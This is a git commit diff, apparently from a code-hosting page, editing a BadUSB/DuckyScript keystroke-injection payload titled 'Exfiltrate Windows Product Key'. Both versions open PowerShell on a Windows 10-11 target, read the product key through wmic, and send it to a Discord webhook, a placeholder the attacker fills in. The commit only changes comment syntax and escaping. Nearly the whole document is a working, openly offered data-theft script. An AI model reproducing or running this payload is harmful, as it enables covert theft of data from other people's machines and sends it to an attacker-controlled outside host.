Update payload.txt
parent
2a47594e3a
commit
96feaedd48
|
@ -1,18 +1,18 @@
|
|||
* REM ###################################################
|
||||
* REM # #
|
||||
* REM # Title : Exfiltrate Windows Product Key #
|
||||
* REM # Author : Aleff #
|
||||
* REM # Version : 1.0 #
|
||||
* REM # Category : Exfiltration #
|
||||
* REM # Target : Windows 10-11 #
|
||||
* REM # #
|
||||
* REM ###################################################
|
||||
###################################################
|
||||
# #
|
||||
# Title : Exfiltrate Windows Product Key #
|
||||
# Author : Aleff #
|
||||
# Version : 1.0 #
|
||||
# Category : Exfiltration #
|
||||
# Target : Windows 10-11 #
|
||||
# #
|
||||
###################################################
|
||||
|
||||
ATTACKMODE HID
|
||||
|
||||
QUACK REM VARIABLES:
|
||||
QUACK REM Put here your Discord Webhook
|
||||
DISCORD-WEBHOOK="https://discord.com/api/webhooks/0123456789.../abcefg..."
|
||||
DISCORD-WEBHOOK='https://discord.com/api/webhooks/0123456789.../abcefg...'
|
||||
|
||||
QUACK DELAY 3000
|
||||
QUACK GUI r
|
||||
|
@ -20,29 +20,26 @@ QUACK DELAY 1000
|
|||
QUACK STRING powershell
|
||||
QUACK ENTER
|
||||
QUACK DELAY 2000
|
||||
QUACK STRING $hookUrl = \"$DISCORD-WEBHOOK\"
|
||||
QUACK STRING \$exfiltration = @\"
|
||||
QUACK ENTER
|
||||
QUACK DELAY 500
|
||||
QUACK STRING $exfiltration = @\"
|
||||
QUACK STRING \$(wmic path softwarelicensingservice get OA3xOriginalProductKey)
|
||||
QUACK ENTER
|
||||
QUACK DELAY 500
|
||||
QUACK STRING $(wmic path softwarelicensingservice get OA3xOriginalProductKey)
|
||||
QUACK ENTER
|
||||
QUACK DELAY 500
|
||||
QUACK STRING $(wmic path softwarelicensingservice get OA3xOriginalProductKeyDescription)
|
||||
QUACK STRING \$(wmic path softwarelicensingservice get OA3xOriginalProductKeyDescription)
|
||||
QUACK ENTER
|
||||
QUACK DELAY 500
|
||||
QUACK STRING \"@
|
||||
QUACK ENTER
|
||||
QUACK DELAY 500
|
||||
QUACK STRING $payload = [PSCustomObject]@{
|
||||
QUACK STRING \$payload = [PSCustomObject]@{
|
||||
QUACK ENTER
|
||||
QUACK DELAY 500
|
||||
QUACK STRING content = $exfiltration
|
||||
QUACK STRING content = \$exfiltration
|
||||
QUACK ENTER
|
||||
QUACK DELAY 500
|
||||
QUACK STRING }
|
||||
QUACK ENTER
|
||||
QUACK DELAY 500
|
||||
QUACK STRING Invoke-RestMethod -Uri $hookUrl -Method Post -Body ($payload | ConvertTo-Json) -ContentType 'Application/Json'; exit
|
||||
QUACK STRING Invoke-RestMethod -Uri $DISCORD-WEBHOOK -Method Post -Body (\$payload | ConvertTo-Json) -ContentType 'Application/Json'; exit
|
||||
QUACK ENTER
|
||||
|
|
Loading…
Reference in New Issue